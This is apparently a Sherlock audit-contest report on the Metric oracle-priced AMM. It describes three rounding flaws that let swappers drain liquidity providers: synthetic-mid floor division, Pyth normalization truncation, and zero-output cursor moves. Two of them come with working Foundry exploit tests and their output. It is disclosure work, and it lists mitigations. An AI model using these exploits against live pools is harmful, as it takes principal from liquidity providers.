contract PoC_SyntheticMidFloor is MetricOmmPoolBaseTest {
  uint64 internal constant TOKENA_USD_8 = 5_900;        // $0.000059
```

```
uint64 internal constant WETH_USD_8   = 3_000 * 1e8;  // $3000 = 3e11

bytes32 internal constant FEED_BASE  = keccak256("TOKENA/USD");
bytes32 internal constant FEED_QUOTE = keccak256("WETH/USD");

HonestPricedOracle internal honestOracle;
AnchoredProviderFactory internal anchorFactory;
AnchoredPriceProvider internal provider;
address internal arb;

// This test plays the pool's factory role (metric-core's canonical setup sets
↪  factory = address(this)).
function isPool(address) external pure returns (bool) { return true; }

function setUp() public override {
  super.setUp();
  vm.warp(1_000_000);
  arb = users[2];

  token0.mint(address(callers[1]), 1e30);
  token1.mint(address(callers[1]), 1e30);
  token0.mint(address(callers[2]), 1e30);
  token1.mint(address(callers[2]), 1e30);

  honestOracle = new HonestPricedOracle(address(this), 1 days);
  anchorFactory = new AnchoredProviderFactory(address(this));
  anchorFactory.addOracle(address(honestOracle));
  anchorFactory.setEnvelope(
    anchorFactory.DEFAULT_CLASS(),
    IAnchoredProviderFactory.Envelope({
      minMarginMin: 0, minMarginMax: 0,
      stalenessMin: 0, stalenessMax: 1 days,
      maxSpreadMin: 1, maxSpreadMax: 1000, exists: false
    })
  );

  // baseToken = token0 = the cheap token, so the floor bites.
  provider = AnchoredPriceProvider(
    anchorFactory.createAnchoredProvider(
      address(honestOracle), FEED_BASE, FEED_QUOTE,
      0, 1 days, 1000, false, int256(0), address(token0), address(token1)
    )
  );
  assertTrue(anchorFactory.isProvider(address(provider)), "curated, eligible
  ↪  anchored provider");

  pool = _deployAnchorPool(address(provider));
  _approveUsersForPool(address(pool));

  honestOracle.addApprovedFactory(address(this));
```

```
    honestOracle.register{value: 1}(FEED_BASE, address(pool), address(this));
    honestOracle.register{value: 1}(FEED_QUOTE, address(pool), address(this));

    honestOracle.setData(FEED_BASE, TOKENA_USD_8, 30, 0, block.timestamp);
    honestOracle.setData(FEED_QUOTE, WETH_USD_8, 30, 0, block.timestamp);

    // Load the base side (token0, upper bins) with ~$9.4k of drainable value.
    _addLiquidity(1, 1, 4, uint104(4e25), 0);
  }

  function _deployAnchorPool(address pp) internal returns (MetricOmmPool p) {
    (BinState[] memory nn, BinState[] memory ng) = _defaultBinStateArrays();
    p = _deployPoolAndRegister(
      PoolDeployParams({
        priceProvider: pp, extensions: _emptyExtensions(), extensionOrders:
        ↪  _emptyExtensionOrders(),
        immutablePriceProvider: true, protocolSpreadFeeE6: PROTOCOL_FEE,
        ↪  adminSpreadFeeE6: ADMIN_FEE,
        curBinDistFromProvidedPriceE6: 0, nonNegativeBinStates: nn,
        ↪  negativeBinStates: ng,
        protocolNotionalFeeE8: 0, adminNotionalFeeE8: 0,
        ↪  immutablePriceProviderForRegistry: pp,
        lowestBin: -1, highestBin: 0
      })
    );
  }

  function _usd8(uint256 rawAmount, uint64 price8) internal pure returns (uint256) {
    return rawAmount * uint256(price8) / 1e18;
  }

  function test_PoC_syntheticFloor_drainsLPs() public {
    // (A) The real pool quote is centered ~49% below the true cross.
    uint256 trueMidX64 = uint256(TOKENA_USD_8) * Q64 / uint256(WETH_USD_8);
    (, uint128 ask) = pool.getSellAndBuyPrices();
    emit log_named_uint("underprice %% (pool ask vs true mid)", 100 - (uint256(ask)
    ↪  * 100 / trueMidX64));
    assertLt(uint256(ask), trueMidX64 * 60 / 100, "pool ask must be >40% below the
    ↪  true cross");

    // (B) One swap sweeps the base side; value everything at the honest prices.
    uint256 poolValBefore = _usd8(token0.balanceOf(address(pool)), TOKENA_USD_8)
                          + _usd8(token1.balanceOf(address(pool)), WETH_USD_8);
    uint256 arbTok0Before = token0.balanceOf(arb);
    uint256 payerTok1Before = token1.balanceOf(address(callers[2]));

    int128 outAll = -int128(int256(token0.balanceOf(address(pool)))); // exact-out
    ↪  the whole base side
    _swap(2, arb, false, outAll, type(uint128).max);
```

```
    uint256 poolValAfter = _usd8(token0.balanceOf(address(pool)), TOKENA_USD_8)
                         + _usd8(token1.balanceOf(address(pool)), WETH_USD_8);
    uint256 token0Out = token0.balanceOf(arb) - arbTok0Before;
    uint256 token1In  = payerTok1Before - token1.balanceOf(address(callers[2]));

    uint256 lpLossUsd8 = poolValBefore - poolValAfter;
    uint256 arbProfitUsd8 = _usd8(token0Out, TOKENA_USD_8) - _usd8(token1In,
    ↪  WETH_USD_8);

    emit log_named_uint("pool value BEFORE (usd8)", poolValBefore);
    emit log_named_uint("pool value AFTER  (usd8)", poolValAfter);
    emit log_named_uint("ARB PROFIT (usd8)", arbProfitUsd8);
    emit log_named_uint("LP LOSS    (usd8)", lpLossUsd8);
    emit log_named_uint("LP LOSS as %% of pool value", lpLossUsd8 * 100 /
    ↪  poolValBefore);

    assertGt(lpLossUsd8, 100 * 1e8, "LP loss must exceed $100");
    assertGt(lpLossUsd8 * 100, poolValBefore * 20, "LP loss must exceed 20% of pool
    ↪  value");
    assertApproxEqRel(arbProfitUsd8, lpLossUsd8, 0.02e18, "arb profit ~= LP loss");
  }
}
```

Mitigation

No response

Discussion

Taridoku

Duplicates: #26, #170, #346, #354, #366, #393, #444, #475, #741, #763, #792, #840, #857, #865, #871, #883, #980, #1005, #1062, #1105, #1118, #1166, #1188, #1247, #1277, #1288, #1295, #1300, #1304, #1353, #1399, #1459, #1475, #1507, #1512, #1513, #1518, #1542, #1552, #1584, #1660, #1661, #1670, #1697, #1714, #1726, #1746, #1798, #1814, #1815, #1900, #1943, #1981, #1983, #1990, #2007, #2065, #2078, #2102, #2123, #2135, #2138, #2144, #2166, #2226, #2249, #2339, #2356, #2387, #2391, #2420, #2424, #2447, #2459, #2500, #2503, #2517, #2537, #2543, #2578, #2654, #2725, #2751, #2771, #2812, #2821, #2849

Valid. Protocol team suggests Medium but LJ leaning High. Pending confirmation. On the two-feed synthetic path the combined mid is computed as a floor division of the two 8-decimal oracle mids before the band math runs, so for a cheap-base, expensive-quote pair the true ratio truncates: it either floors to zero and stalls the feed, or lands up to about 50% low, and the anchored band cannot catch it because the band is centered on the already-wrong number. The pool prices every swap against that quote, letting arbitrageurs drain LP reserves. The trap is hidden rather than a visible configuration choice: the truncation error moves with the live oracle ratio, so an honestly created pool

can quote near-correctly at deposit time and a roughly 1% oracle move then drives the error to its peak. A grouped proof drives a real swap that realizes about 48% of the base side as LP loss, clearing the High thresholds across a wide range of cheap-base pairs.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Oracle-Based-Pool/smart-contracts-poc/pull/15

Issue M-4: Discarding sub-quantum oracle precision lets low-priced assets trade below their signed value

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2083

Found by

0x23r0, 0xastronatey, ABA, ACai7, AestheticBhai, AskSecurity, CarlosMB138, D.R, Edoscoba, GPT-wrapper, Invalidatoors, Ironsidesec, Jornason, Lucas-FManager, Pelz, PhinanzDev, Ryozen, Sacnam, SiddiqX7860, Tradi3, adshao, anchabadze, angus14, ap4sh, buger, cccz, coinsspor, fadli0x, gzeon, ibrahimatix0x01, jayjoshix, legat, natachi, newspacexyz, pkqs90, polymix123, ret2basic.eth, rubencrxz, santin0x, sgtpepper, taticuvostru, thimthor, vivekd

Summary

Flooring supported oracle prices to eight decimals without including the discarded remainder in the uncertainty band will cause a loss of principal for liquidity providers as a permissionless swapper will buy low-priced tokens from the pool below their correct signed oracle value.

Root Cause

In LazerConsumer._normalize, `pU` is divided by `10 ** (-totalExpo)` using flooring integer division when a feed has more than eight decimal places. The discarded remainder is not included when `spreadU` is calculated:

```
if (totalExpo >= 0) {
    rawPrice = pU * (10 ** totalExpo.toUint256());
} else {
    rawPrice = pU / (10 ** (-totalExpo).toUint256());
}

normPrice = rawPrice.toUint64();
spreadU = Math.ceilDiv(BPS_BASE * uint256(conf), pU);
```

The normalized midpoint can therefore be farther below the correctly signed price than the entire encoded uncertainty. AnchoredPriceProvider._computeBidAsk constructs its protective band around this already biased midpoint, so its outward Q64 rounding cannot recover the information discarded earlier.

This does not require an incorrect or stale oracle update. It occurs while processing an otherwise correct and fresh Pyth report.

Internal Pre-conditions

1. A pool needs to use a Pyth Lazer feed with an exponent below `-8` while the normalized eight-decimal midpoint remains nonzero. Metric's Ethereum feed configuration explicitly maps SHIB/USDC to Pyth Lazer feed `20`.
2. The encoded oracle spread, provider margin, optional pool fees, and curve movement together need to be smaller than the normalization remainder.
3. In the demonstrated permitted configuration, the immutable anchored provider has a positive `1 bps` minimum margin, optional additional/notional fees are zero, and `lengthE6 = 1` gives `0.01 bps` total bin movement. The provider constructor permits this margin, while the pool factory accepts any nonzero bin length and zero encoded bin fees.
4. An LP needs to fund the SHIB side of the active bin. The PoC uses `25,000,000,000 SHIB`, worth `$102,942.50` at the correct report midpoint.
5. The pool needs to be unpaused so permissionless swaps can execute.

External Pre-conditions

1. A correct Pyth report needs to contain a discarded remainder larger than the protections above. The historical SHIB/USD report at microsecond timestamp `1784255759800000` satisfies this with `price = 41177`, `exponent = -10`, and `confidence = 33`.
2. For immediate realization, an external bid needs to remain above the pool's truncation-biased execution price. The same observation records `best_bid_price = 41173`. Pyth documents `bestBidPrice` as experimental, so the Medium loss calculation relies on the contest-assumed-correct aggregate midpoint; the best-bid field is additional contemporaneous evidence of realizable gross profit, not the sole basis for impact.

No oracle malfunction, stale update, non-standard token behavior, or privileged attacker action is required.

Attack Path

1. A valid SHIB/USD report containing `price = 41177`, `exponent = -10`, and `confidence = 33` is submitted through `PythOracle`.
2. `LazerConsumer._normalize` computes `totalExpo = -2` and floors `41177 / 100` to `411`. The stored midpoint becomes `411e-8` instead of `411.77e-8`.
3. The normalizer records only `ceil(10,000 * 33 / 41177) = 9 bps`. The discarded `77e-10` remainder is approximately `18.699760 bps` of the correct price.
4. The actual immutable `AnchoredPriceProvider` applies the complete `9 bps` oracle spread and positive `1 bps` minimum margin around the truncated midpoint.

5. A permissionless swapper performs an exact-output swap and buys `25,000,000,000 SHIB` from the one-unit active bin using USDC. Average curve movement contributes approximately `0.005 bps`.
6. The swapper pays `$102,852.801427` while the transferred SHIB is worth `$102,942.50` at the contest-assumed-correct report midpoint.
7. The LP therefore realizes a `$89.698573` mark-to-market principal loss. At the observation's `41173e-10` best bid, the position produces `$102,932.50` and leaves `$79.698573` gross profit before gas and external venue fees.

The complete protection inequality is:

```
18.699760 bps truncation bias
    > 9 bps oracle spread
    + 1 bps provider margin
    + ~0.005 bps average bin movement
```

The oracle spread becomes the pool's base bid/ask protection and is included once. Optional additional and notional fees are validly zero in the demonstrated configuration.

Impact

The affected LP suffers an approximate principal loss of `$89.698573`, equal to `0.08713463 %` of the `$102,942.50` affected position. The attacker obtains `$89.698573` of value relative to the correct aggregate midpoint; the contemporaneous experimental best-bid field independently indicates `$79.698573` of gross immediately realizable profit before gas and external venue fees.

This exceeds both contest Medium thresholds: the affected principal loss is greater than `0.01%` and greater than `$10`.

PoC

Legitimate inputs and production-path fidelity

- **Configured assets:** Metric itself configures feed `20` for Ethereum SHIB at 0x95aD...C4cE and USDC at 0xA0b8...eB48. Etherscan identifies these as an 18-decimal SHIB ERC-20 and 6-decimal USDC ERC-20. The PoC uses standard local ERC-20 instances with those exact decimals because the issue does not depend on balances or behavior of the deployed token contracts.
- **Configured feed:** Metric's configuration identifies Pyth Lazer feed `20` as SHIB/USDC's reference. Pyth's symbol endpoint identifies feed `20` as `Crypto.SHIB/USD` with exponent `-10`.
- **Genuine values:** The exact historical Pyth response contains `price_feed_id = 20`, `price = 41177`, `exponent = -10`, `confidence = 33`, `best_bid_price = 41173`, and `publish_time = 1784255759800000`. Pyth's History API documentation specifies the

timestamped price endpoint, and its payload reference defines `actual_price = price * 10exponent` and the confidence field. The exact response used by the PoC is embedded below so reproduction does not depend on future unauthenticated access to the endpoint:


```
{
  "price_feed_id": 20,
  "price": 41177,
  "exponent": -10,
  "confidence": 33,
  "best_bid_price": 41173,
  "best_ask_price": 41183,
  "publisher_count": 9,
  "publish_time": 1784255759800000,
  "feed_update_timestamp": 1784255759800000
}
```


- **Production contracts:** The single PoC deploys the vendored `PythLazer` implementation, the in-scope `PythOracle` and inherited `LazerConsumer`, the actual in-scope `AnchoredPriceProvider`, and the actual `MetricOmmPool`. It does not inject a normalized midpoint, mock the oracle output, or copy the provider's band math.
- **Production read path:** The protocol's Ethereum deployment script binds PythOracle to Pyth Lazer. Updates enter through PythOracle.fallback, the pool is registered, and OracleBase.price checks the registered pool and its inSwap attribution. During the swap, `MetricOmmPool` exposes the active provider through inSwap and calls that provider for bid/ask prices.
- **Test-only mechanics:** The historical REST response exposes parsed values rather than a reusable production EVM signature. The PoC therefore signs the exact historical fields with a signer authorized only on the locally deployed `PythLazer` instance; the real `PythLazer.verifyUpdate` code still verifies the payload. A minimal `isPool` adapter represents the factory registry because factory governance is unrelated to the normalization defect. Neither test-only choice changes price normalization, anchored-band construction, token scaling, or swap settlement.
- **Permitted rather than guaranteed pool state:** The `1 bps` margin, zero optional fees, and one-unit bin are valid protocol parameters. The report does not claim every deployed pool will use them; they are the specific reachable state required by this Medium-severity path.

PoC

This is one end-to-end Foundry test. It verifies the signed payload, normalizes it through the real consumer, constructs the band with the real provider, performs the real pool's registered `inSwap` oracle read, and executes the funded SHIB/USDC swap.

To permit the test to import the sibling in-scope module, add:

```
# metric-core/foundry.toml
allow_paths = ["../smart-contracts-poc"]
```

```
# metric-core/remappings.txt
@openzeppelin/contracts-upgradeable/=../smart-contracts-poc/lib/openzeppelin-contra
↪  cts-upgradeable/contracts/
pyth-lazer-sdk/=../smart-contracts-poc/lib/pyth-crosschain/lazer/contracts/evm/src/
smart-contracts-poc/=../smart-contracts-poc/
```

Save the following test as `metric-core/test/OracleNormalizationTruncationPoC.t.sol`:

From the repository root, run:

```
cd metric-core && forge test --match-path
↪  test/OracleNormalizationTruncationPoC.t.sol -vv
```

Observed output:

```
fair LP principal:          102942.500000000000000000
quote paid by swapper:      102852.801427000000000000
LP loss:                    89.698573000000000000
gross arbitrage profit:     79.698573000000000000
loss bps x 1e6:             8.713463
```

Test:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {MetricOmmPoolBaseTest} from "./MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "../contracts/MetricOmmPool.sol";
import {BinState} from "../contracts/types/PoolStorage.sol";
import {MockERC20} from "./mocks/MockERC20.sol";

import {PythOracle} from
↪  "smart-contracts-poc/contracts/oracles/providers/PythOracle.sol";
import {AnchoredPriceProvider} from
↪  "smart-contracts-poc/contracts/AnchoredPriceProvider.sol";
import {PythLazer} from "pyth-lazer-sdk/PythLazer.sol";
import {PythLazerStructs} from "pyth-lazer-sdk/PythLazerStructs.sol";
import {TransparentUpgradeableProxy} from
  "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {LazerTestPayload} from
↪  "smart-contracts-poc/test/utils/LazerTestPayload.sol";

/// @notice End-to-end reproduction of low-price oracle normalization truncation
↪  through the production contracts:
```

```
///         PythLazer -> PythOracle/LazerConsumer -> AnchoredPriceProvider ->
↪  MetricOmmPool.
contract OracleNormalizationTruncationPoC is MetricOmmPoolBaseTest {
  uint32 internal constant SHIB_USD_FEED_ID = 20;
  bytes32 internal constant SHIB_USD_FEED = bytes32(uint256(SHIB_USD_FEED_ID));

  // Genuine Pyth feed-20 observation at timestamp 1784255759800000:
  // price=41177, exponent=-10, confidence=33, best_bid_price=41173.
  uint256 internal constant RAW_PRICE = 41_177;
  uint256 internal constant EXTERNAL_BEST_BID = 41_173;
  uint256 internal constant RAW_PRICE_SCALE = 1e10;

  // At the signed midpoint this position is worth $102,942.50.
  uint256 internal constant LP_SHIB = 25_000_000_000e18;

  PythOracle internal pythOracle;
  AnchoredPriceProvider internal anchoredProvider;

  function setUp() public override {
    // Keep the signed update fresh relative to the historical feed timestamp.
    vm.warp(1_784_255_760);
    super.setUp();

    // Match Metric's configured production pair: standard 18-decimal SHIB and
    ↪  6-decimal USDC.
    token0 = new MockERC20("Shiba Inu", "SHIB", 18);
    token1 = new MockERC20("USD Coin", "USDC", 6);

    // Deploy the same upgradeable PythLazer implementation verified updates use in
    ↪  production.
    PythLazer implementation = new PythLazer();
    TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
      address(implementation),
      address(this),
      abi.encodeWithSelector(PythLazer.initialize.selector, address(this))
    );
    PythLazer lazer = PythLazer(address(proxy));
    lazer.updateTrustedSigner(LazerTestPayload.signer(), 3_000_000_000_000_000);

    // Production PythOracle configuration: Price, Exponent, Confidence,
    ↪  FeedUpdateTimestamp.
    uint8[] memory expectedProperties = new uint8[](4);
    expectedProperties[0] = 0;
    expectedProperties[1] = 4;
    expectedProperties[2] = 5;
    expectedProperties[3] = 12;
    pythOracle = new PythOracle(address(this), address(lazer), 60,
    ↪  expectedProperties);
    vm.deal(address(pythOracle), 1 ether); // operational reserve pays Pyth's 1-wei
    ↪  verification fee
```

```
// Reproduce the genuine feed values in a payload signed by the test-authorized
↪  signer.
uint64 tsMicros = 1_784_255_759_800_000;
bytes[] memory feeds = new bytes[](1);
feeds[0] =
  LazerTestPayload.buildFeed(SHIB_USD_FEED_ID, 41_177, -10, 33, tsMicros);
bytes memory signedUpdate = LazerTestPayload.signAndWrap(
  LazerTestPayload.buildPayload(
    tsMicros,
    uint8(PythLazerStructs.Channel.FixedRate200),
    feeds
  )
);

// PythOracle's production update entry point:
// [feedsLength:2][feedIds:feedsLength*4][signed Pyth update].
(bool pushed, bytes memory reason) = address(pythOracle).call(
  abi.encodePacked(uint16(1), SHIB_USD_FEED_ID, signedUpdate)
);
if (!pushed) {
  assembly ("memory-safe") {
    revert(add(reason, 0x20), mload(reason))
  }
}

// Deploy the real immutable AnchoredPriceProvider in reference mode.
anchoredProvider = new AnchoredPriceProvider(
  address(this),
  address(pythOracle),
  SHIB_USD_FEED,
  bytes32(0),
  1e14, // positive 1-bps minimum margin on top of oracle uncertainty
  1 hours,
  1_000,
  false,
  0,
  address(token0),
  address(token1)
);

BinState[] memory nonNegative = new BinState[](1);
nonNegative[0] = BinState({
  token0BalanceScaled: 0,
  token1BalanceScaled: 0,
  lengthE6: 1, // 0.01 bps total curve movement; ~0.005 bps average
  addFeeBuyE6: 0,
  addFeeSellE6: 0
});
```

```
    pool = _deployPoolAndRegister(
      PoolDeployParams({
        priceProvider: address(anchoredProvider),
        extensions: _emptyExtensions(),
        extensionOrders: _emptyExtensionOrders(),
        immutablePriceProvider: true,
        protocolSpreadFeeE6: 0,
        adminSpreadFeeE6: 0,
        curBinDistFromProvidedPriceE6: 0,
        nonNegativeBinStates: nonNegative,
        negativeBinStates: new BinState[](0),
        protocolNotionalFeeE8: 0,
        adminNotionalFeeE8: 0,
        immutablePriceProviderForRegistry: address(anchoredProvider),
        lowestBin: 0,
        highestBin: 0
      })
    );
    _approveUsersForPool(address(pool));

    // Reproduce OracleBase's production abuse-protection setup.
    pythOracle.addApprovedFactory(address(this));
    pythOracle.register{value: 1 wei}(SHIB_USD_FEED, address(pool), address(this));

    // Whitelisting this test only exposes the stored tuple for an explicit
    ↪  root-cause assertion.
    // The pool itself still reads through the production registered-pool/inSwap
    ↪  path.
    pythOracle.addIntegrator(address(this));

    token1.mint(address(callers[0]), 200_000e6);
    token0.mint(address(callers[1]), LP_SHIB);
    _addLiquidity(1, 0, 0, uint104(LP_SHIB), 0);
  }

  /// @dev OracleBase.register calls the exact factory surface used in production.
  function isPool(address candidate) external view returns (bool) {
    return candidate == address(pool);
  }

  function test_realOracleToPoolPathCausesQualifyingLpLoss() external {
    // The real oracle consumer has normalized 41177e-10 to 411e-8 while retaining
    ↪  only 9 bps.
    (uint256 normalizedMid, uint256 spreadBps,,) =
      pythOracle.integratorPrice(SHIB_USD_FEED);
    assertEq(normalizedMid, 411);
    assertEq(spreadBps, 9);

    // The actual pool sets inSwap=anchoredProvider, the actual provider reads the
    ↪  registered
```

```
    // PythOracle feed, and the swap consumes the entire funded SHIB bin.
    (int256 amount0Delta, int256 amount1Delta) =
      _swap(0, users[0], false, _i128ExactOut(uint128(LP_SHIB)), type(uint128).max);

    uint256 shibOut = uint256(-amount0Delta);
    uint256 quotePaidToLp = uint256(amount1Delta) * 1e12; // USDC 6 -> 18 decimals
    uint256 fairQuoteValue = shibOut * RAW_PRICE / RAW_PRICE_SCALE;
    uint256 lpLoss = fairQuoteValue - quotePaidToLp;
    uint256 executableBidProceeds =
      shibOut * EXTERNAL_BEST_BID / RAW_PRICE_SCALE;
    uint256 arbitrageProfit = executableBidProceeds - quotePaidToLp;

    assertEq(shibOut, LP_SHIB);
    assertGt(lpLoss, 10e18, "loss exceeds Sherlock's $10 Medium floor");
    assertGt(lpLoss * 10_000, fairQuoteValue, "loss exceeds 0.01% of LP principal");
    assertGt(arbitrageProfit, 10e18, "historical best bid leaves qualifying gross
    ↪  profit");

    emit log_named_decimal_uint("fair LP principal", fairQuoteValue, 18);
    emit log_named_decimal_uint("quote paid by swapper", quotePaidToLp, 18);
    emit log_named_decimal_uint("LP loss", lpLoss, 18);
    emit log_named_decimal_uint("gross arbitrage profit", arbitrageProfit, 18);
    emit log_named_decimal_uint(
      "loss bps x 1e6",
      lpLoss * 10_000_000_000 / fairQuoteValue,
      6
    );
  }
}
```

Mitigation

When `totalExpo < 0`, preserve the quotient and remainder. Either retain sufficient midpoint precision throughout the provider path or conservatively add the lost quantization error to the spread:

```
uint256 divisor = 10 ** (-totalExpo).toUint256();
uint256 remainder = pU % divisor;
rawPrice = pU / divisor;

uint256 confidenceBps = Math.ceilDiv(BPS_BASE * uint256(conf), pU);
uint256 quantizationBps = Math.ceilDiv(BPS_BASE * remainder, pU);
spreadU = confidenceBps + quantizationBps;
if (spreadU > BPS_BASE) spreadU = BPS_BASE;
```

Fail closed if the widened spread reaches the stall bound. Add regression tests for supported low-price feeds using worst-case remainders and assert that no executable bid/ask lies inside the amount discarded during normalization.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Oracle-Based-Pool/smart-contracts-poc/commit/8ff54f90ecdd7d4e74c36a091df602310f7fe114

Issue M-5: A permissionless swapper will extract principal from exact-share liquidity providers

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2419

Found by

Invalidatoors, ShadowSec, bicktivism

Summary

Missing zero-output guards in the exact-input in-bin swap functions will cause a loss of principal for liquidity providers as a permissionless swapper will repeatedly move the active-bin cursor without exchanging any tokens, let an exact-share LP deposit against the unchanged reserves, and then trade through the artificial price interval.

Root Cause

SwapMath.buyToken0InBinSpecifiedIn first derives a price-limit-constrained `maxFinalBinPos`, then calculates the corresponding output using integer arithmetic:

```
out0Scaled = calculateOutputToken0FromBinPosition(
    binState.token0BalanceScaled,
    currBinPos,
    maxFinalBinPos
);

uint256 in1WithoutFeeScaled = calculateRequiredToken(out0Scaled, avgPriceX64);
uint256 totalIn1Scaled = grossInputWithBinFeeCeil(in1WithoutFeeScaled,
↪  onePlusBuyFeeX64);

uint256 targetPos;
if (totalIn1Scaled <= state.amountSpecifiedRemainingScaled) {
    targetPos = maxFinalBinPos;
}
```

For a sufficiently small position step, `calculateOutputToken0FromBinPosition` floors `out0Scaled` to zero. This also makes the required input and fee zero, but the function retains the attacker-selected `maxFinalBinPos` as `targetPos`. It then performs zero-valued balance/accounting updates and returns the moved cursor:

```
binState.token0BalanceScaled -= out0Scaled.toUint104();
binState.token1BalanceScaled =
    uint256(binState.token1BalanceScaled + totalIn1Scaled -
    ↪  protocolFeeAmountScaled).toUint104();
```

```
state.amountSpecifiedRemainingScaled -= totalIn1Scaled;
state.amountCalculatedScaled += out0Scaled;

delta0Scaled = -out0Scaled.toInt256();
delta1Scaled = (totalIn1Scaled - protocolFeeAmountScaled).toInt256();
return (targetPos, out0Scaled, delta0Scaled, delta1Scaled, binLpFeeAmount);
```

Therefore, the function returns:

```
finalBinPos != currBinPos
out0Scaled    = 0
delta0Scaled  = 0
delta1Scaled  = 0
fee           = 0
```

The symmetric defect exists in SwapMath.buyToken1InBinSpecifiedIn.

The pool accepts the returned cursor in _swapToken1ForToken0SpecifiedInput, saves the unchanged bin state, and unconditionally persists the moved cursor through _finalizeSwap. The opposite exact-input direction does the same in _swapToken0ForToken1SpecifiedInput.

This breaks the relationship between the active cursor and the bin reserves: the curve's next execution price changes even though neither reserve, either aggregate bin total, any fee accumulator, nor either external token balance changes.

NOTE: This issue is not known, is not a duplicate, and remains unfixed

The superficially similar prior finding is Zellic §3.4, "Zero-amount swap step can advance the active bin cursor without changing bin balances". That finding identifies only the two **exact-output** functions:

- `buyToken0InBinSpecifiedOut`; and
- `buyToken1InBinSpecifiedOut`.

The acknowledged remediation is present in the current code. buyToken0InBinSpecifiedOut and buyToken1InBinSpecifiedOut now reset `finalBinPos` when exact-output rounding produces zero:

```
if (amountOutScaled == 0) {
    finalBinPos = currBinPos;
    return (finalBinPos, 0, 0, 0);
}
```

No equivalent guard was added to either exact-input function. The previous report mentioned the exact-input counterparts only in its recommendation as functions that

should be *verified*; it did not identify them as affected, demonstrate a reachable exact-input execution, or establish a profitable consequence. The present PoC calls the surviving positive-`amountSpecified` path and demonstrates a Medium-qualifying principal transfer. Fixing the two previously reported exact-output functions therefore leaves this issue fully exploitable.

Also, the contest's known oracle-shock cycle is unrelated: the PoC keeps the correct oracle price unchanged throughout and derives the entire loss from the free cursor/reserve desynchronization.

Internal Pre-conditions

1. A correctly configured pool needs to contain a nonempty active bin with a sufficiently small output-side balance for a nonzero cursor step to round to zero output. The PoC uses the protocol's permitted `1,000` minimum shares as initial liquidity.
2. The active bin needs to have nonzero balances on both sides so a later exact-share deposit is priced proportionally to the stored reserves. A normal paid setup swap places the demonstrated bin at its oracle-centered midpoint.
3. The bin needs enough width for accumulated cursor displacement to create a profitable artificial interval. The PoC uses one `2%` bin centered around the oracle midpoint, which passes the production factory validation.
4. An LP needs to submit an exact-share deposit after the cursor manipulation. The demonstrated LP deposits a position worth `$99,899.993749` at the correct `1:1` oracle midpoint.
5. The pool needs to be unpaused. No extension, privileged permission, non-standard token configuration, or malicious pool parameter is required.

External Pre-conditions

1. The attacker needs to order a transaction immediately before the victim's exact-share deposit and a reversal immediately after it. This can be performed through ordinary transaction ordering or a bundle.
2. The correct oracle price needs to remain sufficiently stable across the atomic sequence for the attacker to trade back to the honest midpoint. The PoC keeps the correct `1:1` midpoint and normal `5 bps` oracle half-spread unchanged throughout.

No stale or incorrect oracle report, oracle manipulation, external protocol failure, privileged attacker, token callback, tax, rebase, or non-standard ERC-20 behavior is required.

Attack Path

1. An honest, correctly priced pool has a nonempty active bin at the midpoint of its 2% range. Its cursor and two reserves are synchronized.
2. The attacker calls the pool directly with a positive exact-input amount and a price limit selecting the next small cursor step.
3. `buyToken0InBinSpecifiedIn` calculates the selected `targetPos`, but the proportional output rounds down to zero. The required input and fee consequently also equal zero.
4. The pool returns `(amount0Delta, amount1Delta) = (0,0)`, so the callback pays nothing, while `_finalizeSwap` commits the advanced cursor.
5. The attacker repeats this operation 347 times in one transaction, moving the cursor from approximately 50% to at least 75% of the active bin. Both bin reserves and both external token balances remain unchanged.
6. The victim's exact-share deposit executes. Because its token requirements are derived from the unchanged reserves and share supply, it transfers the same token amounts it would have transferred before the manipulation; its maximum token caps cannot distinguish the attacked state.
7. The attacker sells token0 through the artificial interval and restores the cursor to the honest midpoint. The newly deposited victim liquidity makes that reversal profitable.
8. When the victim removes exactly the shares it added, it recovers `$33.078397604819262369` less principal than it deposited. The attacker realizes `$33.078397604819262367` of corresponding swap profit at the unchanged correct midpoint.

The critical free transition is:

```
before each malicious call: cursor = X, reserves = (R0, R1)
after each malicious call:  cursor > X, reserves = (R0, R1)
attacker payment:           0
attacker output:            0
fee:                        0
```

Impact

The affected liquidity provider suffers a principal loss of `$33.078397604819262369`, equal to `0.03311151%` (`3.311151 bps`) of its `$99,899.993749999609374680` deposited principal. The permissionless attacker gains `$33.078397604819262367`; the two-wei difference is withdrawal rounding.

This exceeds both contest Medium thresholds: the affected principal loss is greater than `0.01%` and greater than `$10`. The attack requires a specific thin initial state, transaction ordering around an exact-share deposit, and many crafted zero-output steps, while the

demonstrated loss remains below the 1% High threshold. Medium is therefore appropriate.

PoC

Legitimate inputs and production-path fidelity

- **Standard tokens:** The PoC uses two ordinary 18-decimal ERC-20s. The issue is internal `SwapMath` output rounding and does not depend on unusual token behavior or a particular decimal count.
- **Production deployment:** The pool is created through the real MetricOmmPoolFactory and MetricOmmPoolDeployer, so the bin packing, parameter validation, immutables, and pool registration path are exercised.
- **Correct oracle:** A fixed `1:1` provider supplies a conventional bid of `0.9995` and ask of `1.0005`, representing a normal `5 bps` half-spread. The provider is mocked only to hold that correct quote constant; no oracle behavior is part of the root cause.
- **Permitted pool state:** The pool uses one valid 2% bin, the documented `1e18` per-share density, the accepted `1,000` minimum liquidity, zero optional additional/notional fees, and no extensions. The spread from the correct bid/ask remains active, but each malicious step computes zero notional and therefore pays zero fee.
- **Permissionless core entrypoint:** The shipped router rejects a callback containing two zero deltas, but the pool's `swap` function is intentionally public and settles through the caller-provided `IMetricOmmSwapCallback`. The attacker contract calls the real pool directly, receives `(0,0)`, and owes no tokens. It does not bypass access control or suppress a required payment.
- **Exact-share caps remain satisfied:** The PoC proves both reserves are unchanged after the manipulation and asserts that the victim's deposit amounts equal the same reserve-proportional amounts available before the attack. Thus deploying the periphery adder and setting its maximum token amounts to the pre-attack quote would not change the result.
- **Atomic feasibility:** All 347 zero-delta calls are batched by one callback contract and the complete attack test consumes `8,561,535` gas, within a single transaction on the intended chains.
- **Causal control:** From the identical synchronized midpoint state, adding and immediately removing the same victim shares loses at most two wei. The material loss occurs only after the zero-delta cursor manipulation and reversal.

PoC

